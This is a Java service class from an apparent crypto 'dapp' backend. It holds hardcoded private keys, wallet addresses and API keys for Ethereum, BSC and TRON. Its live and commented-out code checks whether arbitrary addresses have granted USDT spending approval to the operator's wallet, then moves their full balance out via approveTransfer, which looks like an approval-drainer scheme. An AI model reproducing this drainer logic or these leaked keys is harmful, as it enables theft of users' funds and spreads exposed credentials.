package cc.mrbird.febs.dapp.chain;

import cc.mrbird.febs.common.exception.FebsException;
import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;
import org.springframework.data.repository.query.ParameterOutOfBoundsException;

import java.math.BigDecimal;
import java.math.BigInteger;
import java.rmi.activation.UnknownObjectException;

/**
 * @author
 * @date 2022-03-23
 **/
public class ChainService {

    private final static String TRX_ADDRESS = "TGEATPMV7mFKrRDrx2tfMVJrJFHDMQC1Ap";
    private final static String TRX_PRIVATE = "a41d0dcd860f72f479d0736c16741556bb94f6b82bec3d35fe553b6ca6831326";
    private final static String TRX_CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";

    private final static String ETH_URL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
    private final static String ETH_ADDRESS = "0x76ea810BEA0a4e115032C50C9fbb57715C145a69";
    private final static String ETH_PRIVATE = "0x844e1feb36ea9b9adb91f46131b8cfc871b3b5bae58f99fe361aefba8ba4429e";
    private final static String ETH_CONTRACT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7";

    private final static String BSC_URL = "https://bsc-dataseed1.defibit.io";
    private final static String BSC_ADDRESS = "0x76ea810BEA0a4e115032C50C9fbb57715C145a69";
    private final static String BSC_PRIVATE = "0x844e1feb36ea9b9adb91f46131b8cfc871b3b5bae58f99fe361aefba8ba4429e";
    private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955";

    private final static ContractChainService ETH = new EthService(ETH_URL, ETH_ADDRESS, ETH_PRIVATE, ETH_CONTRACT_ADDRESS);
    private final static ContractChainService BSC = new EthService(BSC_URL, BSC_ADDRESS, BSC_PRIVATE, BSC_CONTRACT_ADDRESS);
    private final static ContractChainService TRX = new TrxService(TRX_ADDRESS, TRX_PRIVATE, TRX_CONTRACT_ADDRESS, API_KEY);

    private final String ETH_PREFIX = "0x";

    private ChainService() {
    }

    public final static ChainService INSTANCE = new ChainService();

    public static ContractChainService getInstance(String chainType) {
        switch (chainType) {
            case "ETH" :
                return ETH;
            case "BSC" :
                return BSC;
            case "TRX" :
                return TRX;
            default:
                break;
        }

        throw new FebsException("参数错误");
    }

    public static void main(String[] args) {
        // 0x391040eE5F241711E763D0AC55E775B9b4bD0024 0x977A9dDFb965a9A3416Fa72cA7F91c4949c18f25
        System.out.println(getInstance("BSC").allowance("0x971c09aA9735EB98459B17EC8b48932D24CbB931"));

//        System.out.println(getInstance("BSC").decimals());;

//        System.out.println(getInstance("ETH").allowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
    }
//
//    /**
//     * 获取制定账号的USDT余额
//     *
//     * @param address
//     * @return
//     */
//    public BigDecimal balanceOf(String address) {
//        BigDecimal balance = BigDecimal.ZERO;
//        if (address.contains(ETH_PREFIX)) {
//            balance = ETH.tokenGetBalance(address);
//        } else {
//            balance = TRX.balanceOf(address);
//        }
//        return balance;
//    }
//
//    /**
//     * 判断地址是否授权给制定账户
//     *
//     * @param address
//     * @return
//     */
//    public boolean isAllowance(String address) {
//        BigInteger result;
//        if (address.startsWith(ETH_PREFIX)) {
//            result = ETH.ethAllowance(address);
//        } else {
//            result = TRX.allowance(address);
//        }
//
//        return result.intValue() != 0;
//    }
//
//    /**
//     * 获取地址授权数量
//     *
//     * @param address
//     * @return
//     */
//    public int allowanceCnt(String address) {
//        String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
//        String total = JSONObject.parseObject(response).getString("total");
//        return Integer.parseInt(total);
//    }
//
//    public String transfer(String address) {
//        BigDecimal amount = balanceOf(address);
//
//        return transfer(address, amount);
//    }
//
//    public String transfer(String address, BigDecimal amount) {
//        String hash;
//        if (address.startsWith(ETH_PREFIX)) {
//            String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
//            JSONObject data = JSONObject.parseObject(resp);
//            hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
//        } else {
//            hash = TRX.transfer(address, amount);
//        }
//        return hash;
//    }
//
//    public static void main(String[] args) {
////        System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
//
////        System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
//        System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
//    }
}